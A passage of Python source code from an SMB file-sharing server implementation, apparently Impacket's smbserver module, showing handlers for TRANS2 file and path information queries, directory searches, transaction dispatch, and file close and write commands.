os.path.join(path, fileName)\n\n            if isInFileJail(path, fileName):\n                smbServer.log(\"Path not in current working directory\", connData=connData)\n                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD\n\n            elif os.path.exists(pathName):\n                informationLevel = setPathInfoParameters['InformationLevel']\n                if informationLevel == smb.SMB_SET_FILE_BASIC_INFO:\n                    infoRecord = smb.SMBSetFileBasicInfo(data)\n                    # Creation time won't be set,  the other ones we play with.\n                    atime = infoRecord['LastAccessTime']\n                    if atime == 0:\n                        atime = -1\n                    else:\n                        atime = smb.FTtoPOSIX(atime)\n                    mtime = infoRecord['LastWriteTime']\n                    if mtime == 0:\n                        mtime = -1\n                    else:\n                        mtime = smb.FTtoPOSIX(mtime)\n                    if mtime != -1 or atime != -1:\n                        os.utime(pathName, (atime, mtime))\n                else:\n                    smbServer.log('Unknown level for set path info! 0x%x' % setPathInfoParameters['InformationLevel'],\n                                  logging.ERROR, connData=connData)\n                    # UNSUPPORTED\n                    errorCode = STATUS_NOT_SUPPORTED\n            else:\n                errorCode = STATUS_OBJECT_NAME_NOT_FOUND\n\n            if errorCode == STATUS_SUCCESS:\n                respParameters = smb.SMBSetPathInformationResponse_Parameters()\n\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    @staticmethod\n    def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = STATUS_SUCCESS\n        setFileInfoParameters = smb.SMBSetFileInformation_Parameters(parameters)\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if setFileInfoParameters['FID'] in connData['OpenedFiles']:\n                fileName = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileName']\n                informationLevel = setFileInfoParameters['InformationLevel']\n                if informationLevel == smb.SMB_SET_FILE_DISPOSITION_INFO:\n                    infoRecord = smb.SMBSetFileDispositionInfo(parameters)\n                    if infoRecord['DeletePending'] > 0:\n                        # Mark this file for removal after closed\n                        connData['OpenedFiles'][setFileInfoParameters['FID']]['DeleteOnClose'] = True\n                        respParameters = smb.SMBSetFileInformationResponse_Parameters()\n                elif informationLevel == smb.SMB_SET_FILE_BASIC_INFO:\n                    infoRecord = smb.SMBSetFileBasicInfo(data)\n                    # Creation time won't be set,  the other ones we play with.\n                    atime = infoRecord['LastAccessTime']\n                    if atime == 0:\n                        atime = -1\n                    else:\n                        atime = smb.FTtoPOSIX(atime)\n                    mtime = infoRecord['LastWriteTime']\n                    if mtime == 0:\n                        mtime = -1\n                    else:\n                        mtime = smb.FTtoPOSIX(mtime)\n                    os.utime(fileName, (atime, mtime))\n                elif informationLevel == smb.SMB_SET_FILE_END_OF_FILE_INFO:\n                    fileHandle = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileHandle']\n                    infoRecord = smb.SMBSetFileEndOfFileInfo(data)\n                    if infoRecord['EndOfFile'] > 0:\n                        os.lseek(fileHandle, infoRecord['EndOfFile'] - 1, 0)\n                        os.write(fileHandle, b'\\x00')\n                else:\n                    smbServer.log('Unknown level for set file info! 0x%x' % setFileInfoParameters['InformationLevel'],\n                                  logging.ERROR, connData=connData)\n                    # UNSUPPORTED\n                    errorCode = STATUS_NOT_SUPPORTED\n            else:\n                errorCode = STATUS_NO_SUCH_FILE\n\n            if errorCode == STATUS_SUCCESS:\n                respParameters = smb.SMBSetFileInformationResponse_Parameters()\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    @staticmethod\n    def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n\n        queryFileInfoParameters = smb.SMBQueryFileInformation_Parameters(parameters)\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if queryFileInfoParameters['FID'] in connData['OpenedFiles']:\n                pathName = connData['OpenedFiles'][queryFileInfoParameters['FID']]['FileName']\n\n                infoRecord, errorCode = queryFileInformation(os.path.dirname(pathName), os.path.basename(pathName),\n                                                             queryFileInfoParameters['InformationLevel'])\n\n                if infoRecord is not None:\n                    respParameters = smb.SMBQueryFileInformationResponse_Parameters()\n                    respData = infoRecord\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    @staticmethod\n    def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = 0\n\n        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags=recvPacket['Flags2'], data=parameters)\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n            try:\n                infoRecord, errorCode = queryPathInformation(path, decodeSMBString(recvPacket['Flags2'],\n                                                                                   queryPathInfoParameters['FileName']),\n                                                             queryPathInfoParameters['InformationLevel'])\n            except Exception as e:\n                smbServer.log(\"queryPathInformation: %s\" % e, logging.ERROR, connData=connData)\n\n            if infoRecord is not None:\n                respParameters = smb.SMBQueryPathInformationResponse_Parameters()\n                respData = infoRecord\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    @staticmethod\n    def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount=0):\n        connData = smbServer.getConnectionData(connId)\n        errorCode = 0\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            data = queryFsInformation(connData['ConnectedShares'][recvPacket['Tid']]['path'], '',\n                                      struct.unpack('<H', parameters)[0], pktFlags=recvPacket['Flags2'])\n\n        smbServer.setConnectionData(connId, connData)\n\n        return b'', b'', data, errorCode\n\n    @staticmethod\n    def findNext2(connId, smbServer, recvPacket, parameters, data, maxDataCount):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        errorCode = STATUS_SUCCESS\n        findNext2Parameters = smb.SMBFindNext2_Parameters(flags=recvPacket['Flags2'], data=parameters)\n\n        sid = findNext2Parameters['SID']\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if sid in connData['SIDs']:\n                searchResult = connData['SIDs'][sid]\n                respParameters = smb.SMBFindNext2Response_Parameters()\n                endOfSearch = 1\n                searchCount = 1\n                totalData = 0\n                for i in enumerate(searchResult):\n                    data = i[1].getData()\n                    lenData = len(data)\n                    if (totalData + lenData) >= maxDataCount or (i[0] + 1) >= findNext2Parameters['SearchCount']:\n                        # We gotta stop here and continue on a find_next2\n                        endOfSearch = 0\n                        connData['SIDs'][sid] = searchResult[i[0]:]\n                        respParameters['LastNameOffset'] = totalData\n                        break\n                    else:\n                        searchCount += 1\n                        respData += data\n                        totalData += lenData\n\n                # Have we reached the end of the search or still stuff to send?\n                if endOfSearch > 0:\n                    # Let's remove the SID from our ConnData\n                    del (connData['SIDs'][sid])\n\n                respParameters['EndOfSearch'] = endOfSearch\n                respParameters['SearchCount'] = searchCount\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n    @staticmethod\n    def findFirst2(connId, smbServer, recvPacket, parameters, data, maxDataCount):\n        connData = smbServer.getConnectionData(connId)\n\n        respSetup = b''\n        respParameters = b''\n        respData = b''\n        findFirst2Parameters = smb.SMBFindFirst2_Parameters(recvPacket['Flags2'], data=parameters)\n\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            path = connData['ConnectedShares'][recvPacket['Tid']]['path']\n\n            searchResult, searchCount, errorCode = findFirst2(path,\n                                                              decodeSMBString(recvPacket['Flags2'],\n                                                                              findFirst2Parameters['FileName']),\n                                                              findFirst2Parameters['InformationLevel'],\n                                                              findFirst2Parameters['SearchAttributes'],\n                                                              pktFlags=recvPacket['Flags2'])\n\n            if searchCount > 0:\n                respParameters = smb.SMBFindFirst2Response_Parameters()\n                endOfSearch = 1\n                sid = 0x80  # default SID\n                searchCount = 0\n                totalData = 0\n                for i in enumerate(searchResult):\n                    # i[1].dump()\n                    data = i[1].getData()\n                    lenData = len(data)\n                    if (totalData + lenData) >= maxDataCount or (i[0] + 1) > findFirst2Parameters['SearchCount']:\n                        # We gotta stop here and continue on a find_next2\n                        endOfSearch = 0\n                        # Simple way to generate a fid\n                        if len(connData['SIDs']) == 0:\n                            sid = 1\n                        else:\n                            sid = list(connData['SIDs'].keys())[-1] + 1\n                        # Store the remaining search results in the ConnData SID\n                        connData['SIDs'][sid] = searchResult[i[0]:]\n                        respParameters['LastNameOffset'] = totalData\n                        break\n                    else:\n                        searchCount += 1\n                        respData += data\n\n                        padLen = (8 - (lenData % 8)) % 8\n                        respData += b'\\xaa' * padLen\n                        totalData += lenData + padLen\n\n                respParameters['SID'] = sid\n                respParameters['EndOfSearch'] = endOfSearch\n                respParameters['SearchCount'] = searchCount\n\n            # If we've empty files and errorCode was not already set, we return NO_SUCH_FILE\n            elif errorCode == 0:\n                errorCode = STATUS_NO_SUCH_FILE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        smbServer.setConnectionData(connId, connData)\n\n        return respSetup, respParameters, respData, errorCode\n\n\n# Here we implement the commands handlers\nclass SMBCommands:\n\n    @staticmethod\n    def smbTransaction(connId, smbServer, SMBCommand, recvPacket, transCommands):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(recvPacket['Command'])\n\n        transParameters = smb.SMBTransaction_Parameters(SMBCommand['Parameters'])\n\n        # Do the stuff\n        if transParameters['ParameterCount'] != transParameters['TotalParameterCount']:\n            # TODO: Handle partial parameters\n            raise Exception(\"Unsupported partial parameters in TRANSACT2!\")\n        else:\n            transData = smb.SMBTransaction_SData(flags=recvPacket['Flags2'])\n            # Standard says servers shouldn't trust Parameters and Data comes\n            # in order, so we have to parse the offsets, ugly\n\n            paramCount = transParameters['ParameterCount']\n            transData['Trans_ParametersLength'] = paramCount\n            dataCount = transParameters['DataCount']\n            transData['Trans_DataLength'] = dataCount\n            transData.fromString(SMBCommand['Data'])\n            if transParameters['ParameterOffset'] > 0:\n                paramOffset = transParameters['ParameterOffset'] - 63 - transParameters['SetupLength']\n                transData['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount]\n            else:\n                transData['Trans_Parameters'] = b''\n\n            if transParameters['DataOffset'] > 0:\n                dataOffset = transParameters['DataOffset'] - 63 - transParameters['SetupLength']\n                transData['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]\n            else:\n                transData['Trans_Data'] = b''\n\n            # Call the handler for this TRANSACTION\n            if transParameters['SetupCount'] == 0:\n                # No subcommand, let's play with the Name\n                command = decodeSMBString(recvPacket['Flags2'], transData['Name'])\n            else:\n                command = struct.unpack('<H', transParameters['Setup'][:2])[0]\n\n            if command in transCommands:\n                # Call the TRANS subcommand\n                setup = b''\n                parameters = b''\n                data = b''\n                try:\n                    setup, parameters, data, errorCode = transCommands[command](connId,\n                                                                                smbServer,\n                                                                                recvPacket,\n                                                                                transData['Trans_Parameters'],\n                                                                                transData['Trans_Data'],\n                                                                                transParameters['MaxDataCount'])\n                except Exception as e:\n                    # print 'Transaction: %s' % e,e\n                    smbServer.log('Transaction: (%r,%s)' % (command, e), logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n                    # raise\n\n                if setup == b'' and parameters == b'' and data == b'':\n                    # Something wen't wrong\n                    respParameters = b''\n                    respData = b''\n                else:\n                    # Build the answer\n                    if hasattr(data, 'getData'):\n                        data = data.getData()\n                    remainingData = len(data)\n                    if hasattr(parameters, 'getData'):\n                        parameters = parameters.getData()\n                    remainingParameters = len(parameters)\n                    commands = []\n                    dataDisplacement = 0\n                    while remainingData > 0 or remainingParameters > 0:\n                        respSMBCommand = smb.SMBCommand(recvPacket['Command'])\n                        respParameters = smb.SMBTransactionResponse_Parameters()\n                        respData = smb.SMBTransaction2Response_Data()\n\n                        respParameters['TotalParameterCount'] = len(parameters)\n                        respParameters['ParameterCount'] = len(parameters)\n                        respData['Trans_ParametersLength'] = len(parameters)\n                        respParameters['TotalDataCount'] = len(data)\n                        respParameters['DataDisplacement'] = dataDisplacement\n\n                        # TODO: Do the same for parameters\n                        if len(data) > transParameters['MaxDataCount']:\n                            # Answer doesn't fit in this packet\n                            LOG.debug(\"Lowering answer from %d to %d\" % (len(data), transParameters['MaxDataCount']))\n                            respParameters['DataCount'] = transParameters['MaxDataCount']\n                        else:\n                            respParameters['DataCount'] = len(data)\n\n                        respData['Trans_DataLength'] = respParameters['DataCount']\n                        respParameters['SetupCount'] = len(setup)\n                        respParameters['Setup'] = setup\n                        # TODO: Make sure we're calculating the pad right\n                        if len(parameters) > 0:\n                            # padLen = 4 - (55 + len(setup)) % 4\n                            padLen = (4 - (55 + len(setup)) % 4) % 4\n                            padBytes = b'\\xFF' * padLen\n                            respData['Pad1'] = padBytes\n                            respParameters['ParameterOffset'] = 55 + len(setup) + padLen\n                        else:\n                            padLen = 0\n                            respParameters['ParameterOffset'] = 0\n                            respData['Pad1'] = b''\n\n                        if len(data) > 0:\n                            # pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4\n                            pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4\n                            respData['Pad2'] = b'\\xFF' * pad2Len\n                            respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len\n                        else:\n                            respParameters['DataOffset'] = 0\n                            respData['Pad2'] = b''\n\n                        respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']]\n                        respData['Trans_Data'] = data[:respParameters['DataCount']]\n                        respSMBCommand['Parameters'] = respParameters\n                        respSMBCommand['Data'] = respData\n\n                        data = data[respParameters['DataCount']:]\n                        remainingData -= respParameters['DataCount']\n                        dataDisplacement += respParameters['DataCount'] + 1\n\n                        parameters = parameters[respParameters['ParameterCount']:]\n                        remainingParameters -= respParameters['ParameterCount']\n                        commands.append(respSMBCommand)\n\n                    smbServer.setConnectionData(connId, connData)\n                    return commands, None, errorCode\n\n            else:\n                smbServer.log(\"Unsupported Transact command %r\" % command, logging.ERROR, connData=connData)\n                respParameters = b''\n                respData = b''\n                errorCode = STATUS_NOT_IMPLEMENTED\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbNTTransact(connId, smbServer, SMBCommand, recvPacket, transCommands):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(recvPacket['Command'])\n\n        NTTransParameters = smb.SMBNTTransaction_Parameters(SMBCommand['Parameters'])\n        # Do the stuff\n        if NTTransParameters['ParameterCount'] != NTTransParameters['TotalParameterCount']:\n            # TODO: Handle partial parameters\n            raise Exception(\"Unsupported partial parameters in NTTrans!\")\n        else:\n            NTTransData = smb.SMBNTTransaction_Data()\n            # Standard says servers shouldn't trust Parameters and Data comes\n            # in order, so we have to parse the offsets, ugly\n\n            paramCount = NTTransParameters['ParameterCount']\n            NTTransData['NT_Trans_ParametersLength'] = paramCount\n            dataCount = NTTransParameters['DataCount']\n            NTTransData['NT_Trans_DataLength'] = dataCount\n\n            if NTTransParameters['ParameterOffset'] > 0:\n                paramOffset = NTTransParameters['ParameterOffset'] - 73 - NTTransParameters['SetupLength']\n                NTTransData['NT_Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount]\n            else:\n                NTTransData['NT_Trans_Parameters'] = b''\n\n            if NTTransParameters['DataOffset'] > 0:\n                dataOffset = NTTransParameters['DataOffset'] - 73 - NTTransParameters['SetupLength']\n                NTTransData['NT_Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]\n            else:\n                NTTransData['NT_Trans_Data'] = b''\n\n            # Call the handler for this TRANSACTION\n            command = NTTransParameters['Function']\n            if command in transCommands:\n                # Call the NT TRANS subcommand\n                setup = b''\n                parameters = b''\n                data = b''\n                try:\n                    setup, parameters, data, errorCode = transCommands[command](connId,\n                                                                                smbServer,\n                                                                                recvPacket,\n                                                                                NTTransData['NT_Trans_Parameters'],\n                                                                                NTTransData['NT_Trans_Data'],\n                                                                                NTTransParameters['MaxDataCount'])\n                except Exception as e:\n                    smbServer.log('NTTransaction: (0x%x,%s)' % (command, e), logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n                    # raise\n\n                if setup == b'' and parameters == b'' and data == b'':\n                    # Something wen't wrong\n                    respParameters = b''\n                    respData = b''\n                    if errorCode == STATUS_SUCCESS:\n                        errorCode = STATUS_ACCESS_DENIED\n                else:\n                    # Build the answer\n                    if hasattr(data, 'getData'):\n                        data = data.getData()\n                    remainingData = len(data)\n                    if hasattr(parameters, 'getData'):\n                        parameters = parameters.getData()\n                    remainingParameters = len(parameters)\n                    commands = []\n                    dataDisplacement = 0\n                    while remainingData > 0 or remainingParameters > 0:\n                        respSMBCommand = smb.SMBCommand(recvPacket['Command'])\n                        respParameters = smb.SMBNTTransactionResponse_Parameters()\n                        respData = smb.SMBNTTransactionResponse_Data()\n\n                        respParameters['TotalParameterCount'] = len(parameters)\n                        respParameters['ParameterCount'] = len(parameters)\n                        respData['Trans_ParametersLength'] = len(parameters)\n                        respParameters['TotalDataCount'] = len(data)\n                        respParameters['DataDisplacement'] = dataDisplacement\n                        # TODO: Do the same for parameters\n                        if len(data) > NTTransParameters['MaxDataCount']:\n                            # Answer doesn't fit in this packet\n                            LOG.debug(\"Lowering answer from %d to %d\" % (len(data), NTTransParameters['MaxDataCount']))\n                            respParameters['DataCount'] = NTTransParameters['MaxDataCount']\n                        else:\n                            respParameters['DataCount'] = len(data)\n\n                        respData['NT_Trans_DataLength'] = respParameters['DataCount']\n                        respParameters['SetupCount'] = len(setup)\n                        respParameters['Setup'] = setup\n                        # TODO: Make sure we're calculating the pad right\n                        if len(parameters) > 0:\n                            # padLen = 4 - (71 + len(setup)) % 4\n                            padLen = (4 - (73 + len(setup)) % 4) % 4\n                            padBytes = b'\\xFF' * padLen\n                            respData['Pad1'] = padBytes\n                            respParameters['ParameterOffset'] = 73 + len(setup) + padLen\n                        else:\n                            padLen = 0\n                            respParameters['ParameterOffset'] = 0\n                            respData['Pad1'] = b''\n\n                        if len(data) > 0:\n                            # pad2Len = 4 - (71 + len(setup) + padLen + len(parameters)) % 4\n                            pad2Len = (4 - (73 + len(setup) + padLen + len(parameters)) % 4) % 4\n                            respData['Pad2'] = b'\\xFF' * pad2Len\n                            respParameters['DataOffset'] = 73 + len(setup) + padLen + len(parameters) + pad2Len\n                        else:\n                            respParameters['DataOffset'] = 0\n                            respData['Pad2'] = b''\n\n                        respData['NT_Trans_Parameters'] = parameters[:respParameters['ParameterCount']]\n                        respData['NT_Trans_Data'] = data[:respParameters['DataCount']]\n                        respSMBCommand['Parameters'] = respParameters\n                        respSMBCommand['Data'] = respData\n\n                        data = data[respParameters['DataCount']:]\n                        remainingData -= respParameters['DataCount']\n                        dataDisplacement += respParameters['DataCount'] + 1\n\n                        parameters = parameters[respParameters['ParameterCount']:]\n                        remainingParameters -= respParameters['ParameterCount']\n                        commands.append(respSMBCommand)\n\n                    smbServer.setConnectionData(connId, connData)\n                    return commands, None, errorCode\n\n            else:\n                # smbServer.log(\"Unsupported NTTransact command 0x%x\" % command, logging.ERROR, connData=connData)\n                respParameters = b''\n                respData = b''\n                errorCode = STATUS_NOT_IMPLEMENTED\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbTransaction2(connId, smbServer, SMBCommand, recvPacket, transCommands):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(recvPacket['Command'])\n\n        trans2Parameters = smb.SMBTransaction2_Parameters(SMBCommand['Parameters'])\n\n        # Do the stuff\n        if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']:\n            # TODO: Handle partial parameters\n            # print \"Unsupported partial parameters in TRANSACT2!\"\n            raise Exception(\"Unsupported partial parameters in TRANSACT2!\")\n        else:\n            trans2Data = smb.SMBTransaction2_Data()\n            # Standard says servers shouldn't trust Parameters and Data comes\n            # in order, so we have to parse the offsets, ugly\n\n            paramCount = trans2Parameters['ParameterCount']\n            trans2Data['Trans_ParametersLength'] = paramCount\n            dataCount = trans2Parameters['DataCount']\n            trans2Data['Trans_DataLength'] = dataCount\n\n            if trans2Parameters['ParameterOffset'] > 0:\n                paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength']\n                trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset + paramCount]\n            else:\n                trans2Data['Trans_Parameters'] = b''\n\n            if trans2Parameters['DataOffset'] > 0:\n                dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength']\n                trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]\n            else:\n                trans2Data['Trans_Data'] = b''\n\n            # Call the handler for this TRANSACTION\n            command = struct.unpack('<H', trans2Parameters['Setup'])[0]\n            if command in transCommands:\n                # Call the TRANS2 subcommand\n                try:\n                    setup, parameters, data, errorCode = transCommands[command](connId,\n                                                                                smbServer,\n                                                                                recvPacket,\n                                                                                trans2Data['Trans_Parameters'],\n                                                                                trans2Data['Trans_Data'],\n                                                                                trans2Parameters['MaxDataCount'])\n                except Exception as e:\n                    smbServer.log('Transaction2: (0x%x,%s)' % (command, e), logging.ERROR, connData=connData)\n                    # import traceback\n                    # traceback.print_exc()\n                    raise\n\n                if setup == b'' and parameters == b'' and data == b'':\n                    # Something wen't wrong\n                    respParameters = b''\n                    respData = b''\n                else:\n                    # Build the answer\n                    if hasattr(data, 'getData'):\n                        data = data.getData()\n                    remainingData = len(data)\n                    if hasattr(parameters, 'getData'):\n                        parameters = parameters.getData()\n                    remainingParameters = len(parameters)\n                    commands = []\n                    dataDisplacement = 0\n                    while remainingData > 0 or remainingParameters > 0:\n                        respSMBCommand = smb.SMBCommand(recvPacket['Command'])\n                        respParameters = smb.SMBTransaction2Response_Parameters()\n                        respData = smb.SMBTransaction2Response_Data()\n\n                        respParameters['TotalParameterCount'] = len(parameters)\n                        respParameters['ParameterCount'] = len(parameters)\n                        respData['Trans_ParametersLength'] = len(parameters)\n                        respParameters['TotalDataCount'] = len(data)\n                        respParameters['DataDisplacement'] = dataDisplacement\n                        # TODO: Do the same for parameters\n                        if len(data) > trans2Parameters['MaxDataCount']:\n                            # Answer doesn't fit in this packet\n                            LOG.debug(\"Lowering answer from %d to %d\" % (len(data), trans2Parameters['MaxDataCount']))\n                            respParameters['DataCount'] = trans2Parameters['MaxDataCount']\n                        else:\n                            respParameters['DataCount'] = len(data)\n\n                        respData['Trans_DataLength'] = respParameters['DataCount']\n                        respParameters['SetupCount'] = len(setup)\n                        respParameters['Setup'] = setup\n                        # TODO: Make sure we're calculating the pad right\n                        if len(parameters) > 0:\n                            # padLen = 4 - (55 + len(setup)) % 4\n                            padLen = (4 - (55 + len(setup)) % 4) % 4\n                            padBytes = b'\\xFF' * padLen\n                            respData['Pad1'] = padBytes\n                            respParameters['ParameterOffset'] = 55 + len(setup) + padLen\n                        else:\n                            padLen = 0\n                            respParameters['ParameterOffset'] = 0\n                            respData['Pad1'] = b''\n\n                        if len(data) > 0:\n                            # pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4\n                            pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4\n                            respData['Pad2'] = b'\\xFF' * pad2Len\n                            respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len\n                        else:\n                            respParameters['DataOffset'] = 0\n                            respData['Pad2'] = b''\n\n                        respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']]\n                        respData['Trans_Data'] = data[:respParameters['DataCount']]\n                        respSMBCommand['Parameters'] = respParameters\n                        respSMBCommand['Data'] = respData\n\n                        data = data[respParameters['DataCount']:]\n                        remainingData -= respParameters['DataCount']\n                        dataDisplacement += respParameters['DataCount'] + 1\n\n                        parameters = parameters[respParameters['ParameterCount']:]\n                        remainingParameters -= respParameters['ParameterCount']\n                        commands.append(respSMBCommand)\n\n                    smbServer.setConnectionData(connId, connData)\n                    return commands, None, errorCode\n\n            else:\n                smbServer.log(\"Unsupported Transact/2 command 0x%x\" % command, logging.ERROR, connData=connData)\n                respParameters = b''\n                respData = b''\n                errorCode = STATUS_NOT_IMPLEMENTED\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n\n        smbServer.setConnectionData(connId, connData)\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComLockingAndX(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOCKING_ANDX)\n        respParameters = b''\n        respData = b''\n\n        # I'm actually doing nothing.. just make MacOS happy ;)\n        errorCode = STATUS_SUCCESS\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComClose(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CLOSE)\n        respParameters = b''\n        respData = b''\n\n        comClose = smb.SMBClose_Parameters(SMBCommand['Parameters'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            readOnly = connData['ConnectedShares'][recvPacket['Tid']][\"read only\"] == \"yes\"\n            if comClose['FID'] in connData['OpenedFiles']:\n                errorCode = STATUS_SUCCESS\n                fileHandle = connData['OpenedFiles'][comClose['FID']]['FileHandle']\n                try:\n                    if fileHandle == PIPE_FILE_DESCRIPTOR:\n                        connData['OpenedFiles'][comClose['FID']]['Socket'].close()\n                    elif fileHandle != VOID_FILE_DESCRIPTOR:\n                        os.close(fileHandle)\n                except Exception as e:\n                    smbServer.log(\"comClose %s\" % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n                else:\n                    # Check if the file was marked for removal\n                    if connData['OpenedFiles'][comClose['FID']]['DeleteOnClose'] is True:\n                        if readOnly:\n                            errorCode = STATUS_ACCESS_DENIED\n                        else:\n                            try:\n                                os.remove(connData['OpenedFiles'][comClose['FID']]['FileName'])\n                            except Exception as e:\n                                smbServer.log(\"comClose %s\" % e, logging.ERROR, connData=connData)\n                                errorCode = STATUS_ACCESS_DENIED\n                    del (connData['OpenedFiles'][comClose['FID']])\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComWrite(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE)\n        respParameters = smb.SMBWriteResponse_Parameters()\n        respData = b''\n\n        comWriteParameters = smb.SMBWrite_Parameters(SMBCommand['Parameters'])\n        comWriteData = smb.SMBWrite_Data(SMBCommand['Data'])\n\n        # Get the Tid associated\n        if recvPacket['Tid'] in connData['ConnectedShares']:\n            if comWriteParameters['Fid'] in connData['OpenedFiles']:\n                fileHandle = connData['OpenedFiles'][comWriteParameters['Fid']]['FileHandle']\n                fileName = connData['OpenedFiles'][comWriteParameters['Fid']]['FileName']\n                smbServer.log(\"smbComWrite: %s\" % (fileName), logging.INFO, connData=connData)\n                errorCode = STATUS_SUCCESS\n                try:\n                    if fileHandle != PIPE_FILE_DESCRIPTOR:\n                        # TODO: Handle big size files\n                        # If we're trying to write past the file end we just skip the write call (Vista does this)\n                        if os.lseek(fileHandle, 0, 2) >= comWriteParameters['Offset']:\n                            os.lseek(fileHandle, comWriteParameters['Offset'], 0)\n                            os.write(fileHandle, comWriteData['Data'])\n                    else:\n                        sock = connData['OpenedFiles'][comWriteParameters['Fid']]['Socket']\n                        sock.send(comWriteData['Data'])\n                    respParameters['Count'] = comWriteParameters['Count']\n                except Exception as e:\n                    smbServer.log('smbComWrite: %s' % e, logging.ERROR, connData=connData)\n                    errorCode = STATUS_ACCESS_DENIED\n            else:\n                errorCode = STATUS_INVALID_HANDLE\n        else:\n            errorCode = STATUS_SMB_BAD_TID\n\n        if errorCode > 0:\n            respParameters = b''\n            respData = b''\n\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data'] = respData\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    @staticmethod\n    def smbComFlush(connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_FLUSH)\n        respParameters = b''\n        respData = b''\n\n        comFlush = 